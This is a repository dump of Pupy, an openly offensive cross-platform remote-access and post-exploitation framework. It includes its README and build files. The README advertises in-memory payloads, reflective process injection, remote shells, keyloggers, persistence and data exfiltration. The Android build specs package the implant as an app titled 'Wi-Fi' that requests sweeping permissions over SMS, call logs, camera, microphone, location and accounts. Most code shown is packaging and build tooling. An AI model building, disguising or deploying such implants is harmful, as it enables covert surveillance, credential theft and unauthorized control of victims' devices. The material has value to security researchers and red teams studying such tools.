with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE Pupy also uses some code source/libraries from other projects under different licenses. Among these project, you may find : -For the client part: cf the file client/sources/LICENSES.txt -For the packages located in pupy/packages/: -VideoCapture by Markus Gritsch (m.gritsch@gmail.com) under the LGPL license. http://videocapture.sourceforge.net/ -psutil by Giampaolo Rodola under the BSD license https://github.com/giampaolo/psutil -For the external libraries in pupy/external/ -creddump software is under GPLv3 license, you can see the full license terms in pupy/external/creddump7/COPYING.orig -For the transports : -obfsproxy software is under the 3-Clause BSD License. Copyright 2013 George Kadianakis -For the launchers : -SocksiPy - Python SOCKS module. 3-Clause BSD License. Copyright 2006 Dan-Haim. (cf pupy/network/socks.py) ================================================ FILE: README.md ================================================ # Pupy [![Build Status](https://api.travis-ci.org/n1nj4sec/pupy.svg?branch=unstable)](https://travis-ci.org/n1nj4sec/pupy) ## Simple Installation ``` pip3 install pipx pipx ensurepath pipx install git+https://github.com/n1nj4sec/pupy@nextgen pupysh ``` ~~If you want more detailed information [Refer to the wiki](https://github.com/n1nj4sec/pupy/wiki/Installation)~~ ## Development Install ``` git clone https://github.com/n1nj4sec/pupy cd pupy git checkout nextgen git submodule init git submodule update pip install venv python3 -m venv pupyvenv source pupyvenv/bin/activate pip install -r requirements.txt ``` run pupysh from the dev install : ``` source pupyenv/bin/activate python3 -m pupy.cli ``` ## Description Pupy is a cross-platform, multi function C2 and post-exploitation tool mainly written in python. It features an all-in-memory execution guideline and leaves a very low footprint. Pupy can communicate using multiple transports, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory. ## Features - Windows payload can load the entire Python interpreter from memory using a reflective DLL. - Pupy does not touch the disk. - Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes. - PyCrypto gets replaced by pure Python AES & RSA implementations when unavailable. - Reflectively migrate into other processes. - Remotely import pure python packages (.py, .pyc) and compiled python C extensions (.pyd, .so) from memory. - Imported python modules do not touch the disk. - Easily extensible, modules are simple to write and are sorted by os and category. - Modules can directly access python objects on the remote client using [rpyc](https://github.com/tomerfiliba/rpyc). - Access remote objects interactively from the pupy shell and get auto-completion of remote attributes. - Communication transports are modular and stackable. Exfiltrate data using HTTP over HTTP over AES over XOR, or any combination of the available transports. - Communicate using obfsproxy [pluggable transports.](https://www.torproject.org/docs/pluggable-transports.html.en) - Execute noninteractive commands on multiple hosts at once. - Commands and scripts running on remote hosts are interruptible. - Auto-completion for commands and arguments. - Custom config can be defined: command aliases, modules. automatically run at connection, etc. - Open interactive python shells with auto-completion on the all-in-memory remote python interpreter. - Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely. - Remote shells on Unix & Windows clients have a real tty with all keyboard signals working just like an SSH shell. - Execute PE executable remotely and from memory. - Generate payloads in various formats: | Format | Architecture | Short Name | |---|---|---| ~~ Android Package ~~ | x86 & ARMv7 | apk Linux Binary | x86 | lin_x86 Linux Binary | x64 | lin_x64 Linux Shared Object | x86 | so_x86 Linux Shared Object | x64 | so_x64 Windows PE Executable | x86 | exe_x86 Windows PE Executable | x64 | exe_x64 Windows DLL | x86 | dll_x86 Windows DLL | x64 | dll_x64 Python Script | x86 & x64 | py Python Oneliner | x86 & x64 | py_oneliner Powershell | x86 & x64 | ps1 Powershell Oneliner | x86 & x64 | ps1_oneliner - Deploy in memory from a single command line using python or powershell one-liners. - Embed "scriptlets" in generated payloads to perform some tasks "offline" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.) - Multiple Target Platforms: | Platform | Support Status | |---|---| Windows XP | ~~ Supported ~~ python dropped support Windows 7 | ~~ Supported ~~ python dropped support Windows 8 | Supported Windows 10 | Supported Linux | Supported Mac OSX | Limited Support Android | Limited Support ## Documentation All documentation can be found on the wiki. [Refer to the wiki](https://github.com/n1nj4sec/pupy/wiki) ## FAQ > Does the server work on windows? Pupy has not been tested on Windows. Theoretically, it should work on any platform that supports Docker and Docker Compose. However, you will need to adapt the Docker Compose installation instructions for the Windows platform. > I can't install Pupy. The installation fails. 1. Please refer to the wiki. It is possible that your answer is there. 2. Search the Github issues and see if your issue was already solved. 3. If you issue was not solved, open a new issue following the [issue guidelines](https://github.com/n1nj4sec/pupy/wiki/Issue-Guidelines). If you do not follow these steps, you issue will be closed. > Android and/or Mac OSX payloads and modules don't work. Pupy has _limited_ support for Android and OSX. These platforms may not be well maintained and may break intermittently. Some modules (i.e. keylogger) may be missing for these platforms. ## Development If some of you want to participate to pupy development, don't hesitate! All help is greatly appreciated and all pull requests will be reviewed. Also there is small [note](https://github.com/n1nj4sec/pupy/wiki/Development) about development. Please run flake8 before doing any commits. File with config is [here](pupy/tox.ini). ## Contact | Platform | Contact Info | |---|---| Email | contact@n1nj4.eu Twitter | https://twitter.com/n1nj4sec This project is a [personal development](https://en.wikipedia.org/wiki/Personal_development), please respect its philosophy and don't use it for evil purposes! ## Special thanks Special thanks to all contributors & supporters that help improve pupy and make it a better tool! :) ================================================ FILE: client/additional_imports.py ================================================ from __future__ import print_function import umsgpack import socket import threading import queue import collections import _struct import struct import os import sys import time import traceback import uuid import subprocess import imp import hashlib import hmac import base64 import logging import re import ssl import tempfile import string import datetime import random import shutil import platform import errno import stat import zlib import code import glob import math import binascii import shlex import json import ctypes import threading import urllib import getpass import __future__ import netaddr import urllib_auth import http_parser import unicodedata import getpass import importlib import importlib.util import contextlib import warnings import abc import _py_abc import keyword try: import psutil except Exception as e: print("psutil: ", e) import pyexpat import fnmatch try: import dukpy except ImportError: print("dukpy not found") try: import kcp except ImportError: print("kcp not found") try: import uidle except ImportError: print("uidle not found") #import poster if 'win' in sys.platform: import ctypes.wintypes try: import win_inet_pton except AttributeError: pass import winkerberos else: import pty try: import kerberos except ImportError: print("kerberos not found") ================================================ FILE: client/android_sources/build-docker.sh ================================================ #!/bin/sh SELF=`readlink -f "$0"` SELFPWD=`dirname "$SELF"` SRC=${SELFPWD:-`pwd`} cd $SRC TEMPLATES=`readlink -f ../../pupy/payload_templates` rm -f $TEMPLATES/pupy.apk rm -f buildozer.spec sed -e "s@%BUILDOZER%@$BUILDOZER_CACHE@" buildozer-docker.spec >buildozer.spec buildozer android release mv $SRC/bin/Wi-Fi-0.1-release-unsigned.apk $TEMPLATES/pupy.apk || exit 1 ================================================ FILE: client/android_sources/build.sh ================================================ #!/bin/sh export PATH=$PATH:$HOME/.local/bin pip install --user --upgrade git+https://github.com/kivy/buildozer [ -f buildozer.spec ] || ln -sf buildozer.spec.example buildozer.spec buildozer android release mv .buildozer/android/platform/build/dists/pupy/bin/Wi-Fi-0.1-release-unsigned.apk \ ../../pupy/payload_templates/pupy.apk || exit 1 rm -rf .buildozer/android/platform/build rm -rf ~/.buildozer/android/platform/*.tar.gz rm -rf ~/.buildozer/android/platform/*.tgz rm -rf ~/.buildozer/android/platform/*.tar.bz2 ================================================ FILE: client/android_sources/buildozer-docker.spec ================================================ [app] title = Wi-Fi package.name = pupy package.domain = org.pupy source.dir = . source.include_exts = py,pyc,pyo,png,jpg,kv,atlas #source.include_patterns = assets/*,images/*.png #source.exclude_exts = spec source.exclude_dirs = python-for-android, bin #source.exclude_patterns = license,images/*/*.jpg version = 0.1 requirements = genericndkbuild,pycryptodome,plyer,psutil,tinyec,netaddr,dnslib,pyjnius,pyuv,cryptography,kcp,msgpack-python,scandir,ushlex #presplash.filename = %(source.dir)s/data/presplash.png #icon.filename = %(source.dir)s/data/icon.png orientation = all fullscreen = 0 android.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE #android.api = 19 #android.minapi = 9 #android.sdk = 20 #android.ndk = 9c #android.private_storage = True #android.ndk_path = #android.sdk_path = #android.ant_path = p4a.source_dir = python-for-android # p4a.local_recipes = python-for-android/pythonforandroid/recipes #p4a.hook = android.whitelist = lib-dynload/termios.so,lib-dynload/mmap.so,lib-dynload/_json.so,lib-dynload/pyexpat.so android.skip_update = True p4a.bootstrap = badservice #android.add_src = #android.add_aars = #android.add_libs_armeabi = libs/android/*.so #android.add_libs_armeabi_v7a = libs/android-v7/*.so #android.add_libs_x86 = libs/android-x86/*.so #android.add_libs_mips = libs/android-mips/*.so #android.wakelock = False #android.meta_data = #android.library_references = #android.logcat_filters = *:S python:D #android.copy_libs = 1 android.arch = armeabi-v7a [buildozer] log_level = 1 warn_on_root = 0 build_dir = %BUILDOZER% # bin_dir = ./bin ================================================ FILE: client/android_sources/buildozer.spec.example ================================================ [app] # (str) Title of your application title = Wi-Fi # (str) Package name package.name = pupy # (str) Package domain (needed for android/ios packaging) package.domain = org.pupy # (str) Source code where the main.py live source.dir = . # (list) Source files to include (let empty to include all the files) source.include_exts = py,pyc,pyo,png,jpg,kv,atlas # (list) List of inclusions using pattern matching #source.include_patterns = assets/*,images/*.png # (list) Source files to exclude (let empty to not exclude anything) #source.exclude_exts = spec # (list) List of directory to exclude (let empty to not exclude anything) source.exclude_dirs = python-for-android, bin # (list) List of exclusions using pattern matching #source.exclude_patterns = license,images/*/*.jpg # (str) Application versioning (method 1) version = 0.1 # (str) Application versioning (method 2) # version.regex = __version__ = ['"](.*)['"] # version.filename = %(source.dir)s/main.py # (list) Application requirements # comma seperated e.g. requirements = sqlite3,kivy requirements = pycrypto,plyer,psutil,tinyec,netaddr,pyjnius,pyuv,cryptography # (str) Custom source folders for requirements # Sets custom source for any requirements with recipes # requirements.source.kivy = ../../kivy # (list) Garden requirements #garden_requirements = # (str) Presplash of the application #presplash.filename = %(source.dir)s/data/presplash.png # (str) Icon of the application #icon.filename = %(source.dir)s/data/icon.png # (str) Supported orientation (one of landscape, portrait or all) orientation = all # (list) List of service to declare # services = pupy:service/main.py # # OSX Specific # # # author = © Copyright Info # change the major version of python used by the app osx.python_version = 3 # Kivy version to use osx.kivy_version = 1.9.1 # # Android specific # # (bool) Indicate if the application should be fullscreen or not fullscreen = 0 # (string) Presplash background color (for new android toolchain) # Supported formats are: #RRGGBB #AARRGGBB or one of the following names: # red, blue, green, black, white, gray, cyan, magenta, yellow, lightgray, # darkgray, grey, lightgrey, darkgrey, aqua, fuchsia, lime, maroon, navy, # olive, purple, silver, teal. #android.presplash_color = #FFFFFF # (list) Permissions android.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE # (int) Android API to use #android.api = 19 # (int) Minimum API required #android.minapi = 9 # (int) Android SDK version to use #android.sdk = 20 # (str) Android NDK version to use #android.ndk = 9c # (bool) Use --private data storage (True) or --dir public storage (False) #android.private_storage = True # (str) Android NDK directory (if empty, it will be automatically downloaded.) #android.ndk_path = # (str) Android SDK directory (if empty, it will be automatically downloaded.) #android.sdk_path = # (str) ANT directory (if empty, it will be automatically downloaded.) #android.ant_path = # (str) python-for-android git clone directory (if empty, it will be automatically cloned from github) p4a.source_dir = python-for-android # (str) The directory in which python-for-android should look for your own build recipes (if any) p4a.local_recipes = python-for-android/pythonforandroid/recipes # (str) Filename to the hook for p4a #p4a.hook = # (list) python-for-android whitelist android.whitelist = lib-dynload/termios.so,lib-dynload/mmap.so,lib-dynload/_json.so,lib-dynload/pyexpat.so # (bool) If True, then skip trying to update the Android sdk # This can be useful to avoid excess Internet downloads or save time # when an update is due and you just want to test/build your package # android.skip_update = True # (str) Bootstrap to use for android builds (android_new only) p4a.bootstrap = badservice # (str) Android entry point, default is ok for Kivy-based app #android.entrypoint = org.renpy.android.PythonActivity # (list) List of Java .jar files to add to the libs so that pyjnius can access # their classes. Don't add jars that you do not need, since extra jars can slow # down the build process. Allows wildcards matching, for example: # OUYA-ODK/libs/*.jar #android.add_jars = foo.jar,bar.jar,path/to/more/*.jar # (list) List of Java files to add to the android project (can be java or a # directory containing the files) #android.add_src = # (list) Android AAR archives to add (currently works only with sdl2_gradle # bootstrap) #android.add_aars = # (list) Gradle dependencies to add (currently works only with sdl2_gradle # bootstrap) #android.gradle_dependencies = # (str) python-for-android branch to use, if not master, useful to try # not yet merged features. #android.branch = master # (str) OUYA Console category. Should be one of GAME or APP # If you leave this blank, OUYA support will not be enabled #android.ouya.category = GAME # (str) Filename of OUYA Console icon. It must be a 732x412 png image. #android.ouya.icon.filename = %(source.dir)s/data/ouya_icon.png # (str) XML file to include as an intent filters in tag #android.manifest.intent_filters = # (list) Android additionnal libraries to copy into libs/armeabi #android.add_libs_armeabi = libs/android/*.so #android.add_libs_armeabi_v7a = libs/android-v7/*.so #android.add_libs_x86 = libs/android-x86/*.so #android.add_libs_mips = libs/android-mips/*.so # (bool) Indicate whether the screen should stay on # Don't forget to add the WAKE_LOCK permission if you set this to True #android.wakelock = False # (list) Android application meta-data to set (key=value format) #android.meta_data = # (list) Android library project to add (will be added in the # project.properties automatically.) #android.library_references = # (str) Android logcat filters to use #android.logcat_filters = *:S python:D # (bool) Copy library instead of making a libpymodules.so #android.copy_libs = 1 # (str) The Android arch to build for, choices: armeabi-v7a, arm64-v8a, x86 android.arch = armeabi-v7a # # iOS specific # # (str) Path to a custom kivy-ios folder #ios.kivy_ios_dir = ../kivy-ios # (str) Name of the certificate to use for signing the debug version # Get a list of available identities: buildozer ios list_identities #ios.codesign.debug = "iPhone Developer: ()" # (str) Name of the certificate to use for signing the release version #ios.codesign.release = %(ios.codesign.debug)s [buildozer] # (int) Log level (0 = error only, 1 = info, 2 = debug (with command output)) log_level = 1 # (int) Display warning if buildozer is run as root (0 = False, 1 = True) warn_on_root = 0 # (str) Path to build artifact storage, absolute or relative to spec file # build_dir = ./.buildozer # (str) Path to build output (i.e. .apk, .ipa) storage # bin_dir = ./bin # ----------------------------------------------------------------------------- # List as sections # # You can define all the "list" as [section:key]. # Each line will be considered as a option to the list. # Let's take [app] / source.exclude_patterns. # Instead of doing: # #[app] #source.exclude_patterns = license,data/audio/*.wav,data/images/original/* # # This can be translated into: # #[app:source.exclude_patterns] #license #data/audio/*.wav #data/images/original/* # # ----------------------------------------------------------------------------- # Profiles # # You can extend section / key with a profile # For example, you want to deploy a demo version of your application without # HD content. You could first change the title to add "(demo)" in the name # and extend the excluded directories to remove the HD content. # #[app@demo] #title = My Application (demo) # #[app:source.exclude_patterns@demo] #images/hd/* # # Then, invoke the command line with the "demo" profile: # #buildozer --profile demo android debug ================================================ FILE: client/android_sources/main.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms import os import platform import time os.environ['KIVY_NO_FILELOG'] = 'yes' platform.system = lambda: 'android' if __name__ == '__main__': import sys setattr(sys, 'executable', 'PythonService') import pp while True: try: pp.main() except Exception as e: import traceback traceback.print_exc() time.sleep(10) ================================================ FILE: client/android_sources/pp.py ================================================ from __future__ import print_function import time def main(): print("pp.py is not replaced with working one!") time.sleep(1) ================================================ FILE: client/build-docker.sh ================================================ #!/bin/bash SELF=`readlink -f "$0"` PUPY=`dirname "$SELF"`/../ PUPY=`readlink -f "$PUPY"` DOCKER_COMMAND=${DOCKER_COMMAND:-docker} DOCKER_REPO=${DOCKER_REPO:-"n1nj4sec"} CLEAN=${CLEAN:-"no"} if [ ! -z "$REPO" ]; then if [ "$REPO" == "local" ]; then REPO="" else REPO="$REPO/" fi else REPO="${DOCKER_REPO}/" fi echo $PUPY set -e start_container() { TOOLCHAIN="tc-$1" CONTAINER_NAME="build-pupy-$1" SOURCES="$2" SCRIPT="client/$SOURCES/build-docker.sh" ( echo echo "[+] Build $SOURCES with toolchain ${REPO}$TOOLCHAIN" NEW="" ${DOCKER_COMMAND} container inspect ${CONTAINER_NAME} >/dev/null 2>/dev/null || NEW=1 if [ ! -z "$NEW" ]; then mkdir -p /tmp/pupy-build/${REPO}${TOOLCHAIN} ${DOCKER_COMMAND} run --name ${CONTAINER_NAME} \ -v ${PUPY}:/build/workspace/project ${REPO}${TOOLCHAIN} ${SCRIPT} else ${DOCKER_COMMAND} start -ai ${CONTAINER_NAME} fi if [ "$CLEAN" == "yes" ]; then ${DOCKER_COMMAND} rm ${CONTAINER_NAME} fi echo ) } if [ ! -z "$1" ] && [ ! -z "$2" ]; then start_container $1 $2 else start_container windows-py3 sources-windows-py3 start_container pupy-linux-py3 sources-linux-py3 #start_container linux32 sources-linux #start_container linux-amd64-py3 sources-linux-py3 #start_container linux-amd64-py2 sources-linux-py2 #start_container android android_sources fi ================================================ FILE: client/build_library_zip.py ================================================ # -*- coding: utf-8 -*- from __future__ import print_function import site import sys import sysconfig import os import imp import importlib import marshal import shutil import zipfile from glob import glob from distutils.core import setup THIS = os.path.abspath(__file__) ROOT = os.path.dirname(os.path.dirname(THIS)) print("THIS:", THIS) print("ROOT: ", ROOT) PATCHES=None if sys.version_info[0]==2 : PATCHES = os.path.join(ROOT, 'pupy', 'library_patches_py2') else: PATCHES = os.path.join(ROOT, 'pupy', 'library_patches_py3') sys.path.insert(0, PATCHES) sys.path.append(os.path.join(ROOT)) #sys.path.append(os.path.join(ROOT, 'pupy', 'pupylib')) setattr(sys, "__from_build_library_zip_compiler__", True) from pupy.pupylib.PupyCompile import pupycompile sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'all')) if sys.platform == 'win32': sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'windows', 'all')) elif sys.platform.startswith('linux'): sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'linux', 'all')) sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'posix', 'all')) else: sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'posix', 'all')) import additional_imports print("Load pupy") try: import pupy.agent print("Module loaded") pupy.agent.prepare(debug=True) print("Prepare called") except Exception as e: print("Load pupy.. FAILED: {}".format(e)) raise print("Load pupy.. OK") sys_modules = [ (x, sys.modules[x]) for x in sys.modules.keys() ] compile_map = [] def compile_py(path): global compile_map global fileid fileid = len(compile_map) compile_map.append(path) data = None try: data = pupycompile(path, 'f:{:x}'.format(fileid), path=True) print("[C] {} -> f:{:x}".format(path, fileid)) except ValueError: print("[C] {} -> failed".format(path)) return data all_dependencies = set( [ x.split('.')[0] for x, m in sys_modules if '(built-in)' not in str(m) and x != '__main__' ] + [ 'Crypto', 'pyasn1', 'rsa', 'stringprep' ] ) all_dependencies.add('site') all_dependencies.add('sysconfig') all_dependencies.add('re') exceptions = ( 'pupy', 'pupy.agent', 'pupy.network', 'pupyimporter', 'additional_imports', 'pupy_hooks', 'pupy_modules', 'network', 'pupyimporter', 'additional_imports', '_openssl' ) all_dependencies = sorted(list(set(all_dependencies))) for dep in list(all_dependencies): for excluded in exceptions: if dep == excluded or dep.startswith(excluded + '.'): try: all_dependencies.remove(dep) except Exception as e: print("could not remove dependency {}: {}".format(dep, e)) ignore = { '_cffi_backend.pyd', # We don't use this anyway 'Crypto/PublicKey/ElGamal.py', 'Crypto/PublicKey/RSA.py', 'Crypto/PublicKey/_openssh.py', 'Crypto/PublicKey/_ec_ws.so', 'Crypto/PublicKey/_ec_ws.pyd', 'Crypto/PublicKey/ECC.py', 'Crypto/PublicKey/__init__.py', 'Crypto/PublicKey/DSA.py', # If it's known that GSSAPI is used and required during bootstrap, # it's worth to comment this line (adds 1MB) 'kerberos.so', 'json/tool.py', 'rsa/cli.py', } if sys.platform.startswith('linux'): ignore.update({ 'psutil/_pswindows.py' }) elif sys.platform.startswith('win'): ignore.update({ '_psaix.py', '_psbsd.py', '_pslinux.py', '_psosx.py', '_pssunos.py' }) for dep in ('cffi', 'pycparser', 'pyaes', 'distutils'): if dep in all_dependencies: all_dependencies.remove(dep) print("ALLDEPS: ", all_dependencies) zf = zipfile.ZipFile(sys.argv[1], mode='w', compression=zipfile.ZIP_DEFLATED) zf.writestr( 'bundlevars.pyo', pupycompile( 'bundlevars={}'.format(repr({ k: v for k, v in sysconfig.get_config_vars().items() if k not in ( 'BINDIR', 'BINLIBDEST', 'CONFINCLUDEDIR', 'CONFINCLUDEPY', 'COREPYTHONPATH', 'COVERAGE_INFO', 'COVERAGE_REPORT', 'DESTDIRS', 'DESTLIB', 'DESTSHARED', 'INCLDIRSTOMAKE', 'INCLUDEDIR', 'INCLUDEPY', 'INSTALL', 'INSTALL_DATA', 'INSTALL_PROGRAM', 'INSTALL_SCRIPT', 'INSTALL_SHARED', 'LIBDEST', 'LIBDIR', 'LIBFFI_INCLUDEDIR', 'LIBOBJDIR', 'LIBP', 'LIBPC', 'LIBPL', 'LIBSUBDIRS', 'MACHDEPPATH', 'MACHDESTLIB', 'MAKESETUP', 'MANDIR', 'MKDIR_P', 'PLATMACDIRS', 'PLATMACPATH', 'PYTHONPATH', 'RUNSHARED', 'SCRIPTDIR', 'SRC_GDB_HOOKS', 'TESTPROG', 'TESTPYTHON', 'abs_builddir', 'abs_srcdir', 'base', 'datarootdir', 'exec_prefix', 'platbase', 'prefix', 'projectbase', 'userbase' ) })), '', path=False ) ) import platform #TODO: update if needed if 'win' in sys.platform: bits='64' if '64' in platform.architecture()[0] else '32' for root, _, files in os.walk('C:\\Python3-'+bits+'\\Lib\\site-packages'): for file in files: if file.lower().endswith((".dll",".pyd")): print("interesting file :", file) if file.lower() in ('_win32sysloader.pyd'): zf.write(os.path.join(root, file), file) if file.lower().startswith("pywintypes") and file.lower().endswith(".dll"): zf.write(os.path.join(root, file), file) try: content = set(ignore) for dep in all_dependencies: #spec=importlib.util.find_spec(dep) #print(spec) #print(dir(spec)) print(dep) if dep.startswith("_cython_") or dep in ["cython_runtime", "pywin32_system32"]: continue _, mpath, info = imp.find_module(dep) #print("mpath", mpath, "info", info) if mpath == None: continue print("DEPENDENCY: ", dep, mpath) if info[2] == imp.PKG_DIRECTORY: print('adding package %s / %s' % (dep, mpath)) path, root = os.path.split(mpath) for root, dirs, files in os.walk(mpath): for f in list(set([x.rsplit('.', 1)[0] for x in files])): found = False need_compile = True for ext in ('.dll', '.so', '.pyd', '.py', '.pyc', '.pyo'): if (ext == '.pyc' or ext == '.pyo') and found: continue pypath = os.path.join(root, f+ext) if os.path.exists(pypath): ziproot = root[len(path)+1:].replace('\\', '/') zipname = '/'.join([ziproot, f.split('.', 1)[0] + ext]) found = True if ziproot.startswith('site-packages'): ziproot = ziproot[14:] if zipname.startswith('network/transports/') and \ not zipname.startswith('network/transports/__init__.py'): continue # Remove various testcases if any if any(['/'+x+'/' in zipname for x in [ 'tests', 'test', 'SelfTest', 'SelfTests', 'examples', 'experimental', '__pycache__' ] ]): continue if zipname in content: continue file_root = root if os.path.exists(os.path.join(PATCHES, f+'.py')): print('found [PATCH] for {}'.format(f)) file_root = PATCHES ext = '.py' elif os.path.exists(os.path.sep.join([PATCHES] + zipname.split('/'))): print('found [PATCH ZROOT] for {}'.format(f)) file_root = os.path.sep.join( [PATCHES] + ziproot.split('/')) ext = '.py' if ext == '.py' and need_compile: bytecode = compile_py(os.path.join(file_root, f+ext)) if not bytecode: continue zf.writestr(zipname+'o', bytecode) else: zf.write(os.path.join( file_root, f+ext), zipname) print('adding file : {}'.format(zipname)) content.add(zipname) break else: if '' in mpath: continue found_patch = None for extp in ('.py', '.pyc', '.pyo'): if os.path.exists(os.path.join(PATCHES, dep+extp)): found_patch = (os.path.join(PATCHES, dep+extp), extp) break if found_patch: if dep+found_patch[1] in content: continue print('adding [PATCH] %s -> %s' % (found_patch[0], dep+found_patch[1])) if found_patch[0].endswith('.py'): zf.writestr( dep+found_patch[1]+'o', compile_py(found_patch[0])) else: zf.write(found_patch[0], dep+found_patch[1]) else: _, ext = os.path.splitext(mpath) if dep+ext in content: continue print('adding %s -> %s' % (mpath, dep+ext)) if mpath.endswith(('.pyc', '.pyo', '.py')): srcfile = mpath if srcfile.endswith(('.pyc', '.pyo')): srcfile = srcfile[:-1] zf.writestr(dep+'.pyo', compile_py(srcfile)) else: zf.write(mpath, dep+ext) finally: zf.writestr('fid.toc', marshal.dumps(compile_map)) zf.close() ================================================ FILE: client/common/7zTypes.h ================================================ /* 7zTypes.h -- Basic types 2013-11-12 : Igor Pavlov : Public domain */ #ifndef __7Z_TYPES_H #define __7Z_TYPES_H #ifdef _WIN32 /* #include */ #endif #include #ifndef EXTERN_C_BEGIN #ifdef __cplusplus #define EXTERN_C_BEGIN extern "C" { #define EXTERN_C_END } #else #define EXTERN_C_BEGIN #define EXTERN_C_END #endif #endif EXTERN_C_BEGIN #define SZ_OK 0 #define SZ_ERROR_DATA 1 #define SZ_ERROR_MEM 2 #define SZ_ERROR_CRC 3 #define SZ_ERROR_UNSUPPORTED 4 #define SZ_ERROR_PARAM 5 #define SZ_ERROR_INPUT_EOF 6 #define SZ_ERROR_OUTPUT_EOF 7 #define SZ_ERROR_READ 8 #define SZ_ERROR_WRITE 9 #define SZ_ERROR_PROGRESS 10 #define SZ_ERROR_FAIL 11 #define SZ_ERROR_THREAD 12 #define SZ_ERROR_ARCHIVE 16 #define SZ_ERROR_NO_ARCHIVE 17 typedef int SRes; #ifdef _WIN32 /* typedef DWORD WRes; */ typedef unsigned WRes; #else typedef int WRes; #endif #ifndef RINOK #define RINOK(x) { int __result__ = (x); if (__result__ != 0) return __result__; } #endif typedef unsigned char Byte; typedef short Int16; typedef unsigned short UInt16; #ifdef _LZMA_UINT32_IS_ULONG typedef long Int32; typedef unsigned long UInt32; #else typedef int Int32; typedef unsigned int UInt32; #endif #ifdef _SZ_NO_INT_64 /* define _SZ_NO_INT_64, if your compiler doesn't support 64-bit integers. NOTES: Some code will work incorrectly in that case! */ typedef long Int64; typedef unsigned long UInt64; #else #if defined(_MSC_VER) || defined(__BORLANDC__) typedef __int64 Int64; typedef unsigned __int64 UInt64; #define UINT64_CONST(n) n #else typedef long long int Int64; typedef unsigned long long int UInt64; #define UINT64_CONST(n) n ## ULL #endif #endif #ifdef _LZMA_NO_SYSTEM_SIZE_T typedef UInt32 SizeT; #else typedef size_t SizeT; #endif typedef int Bool; #define True 1 #define False 0 #ifdef _WIN32 #define MY_STD_CALL __stdcall #else #define MY_STD_CALL #endif #ifdef _MSC_VER #if _MSC_VER >= 1300 #define MY_NO_INLINE __declspec(noinline) #else #define MY_NO_INLINE #endif #define MY_CDECL __cdecl #define MY_FAST_CALL __fastcall #else #define MY_NO_INLINE #define MY_CDECL #define MY_FAST_CALL #endif /* The following interfaces use first parameter as pointer to structure */ typedef struct { Byte (*Read)(void *p); /* reads one byte, returns 0 in case of EOF or error */ } IByteIn; typedef struct { void (*Write)(void *p, Byte b); } IByteOut; typedef struct { SRes (*Read)(void *p, void *buf, size_t *size); /* if (input(*size) != 0 && output(*size) == 0) means 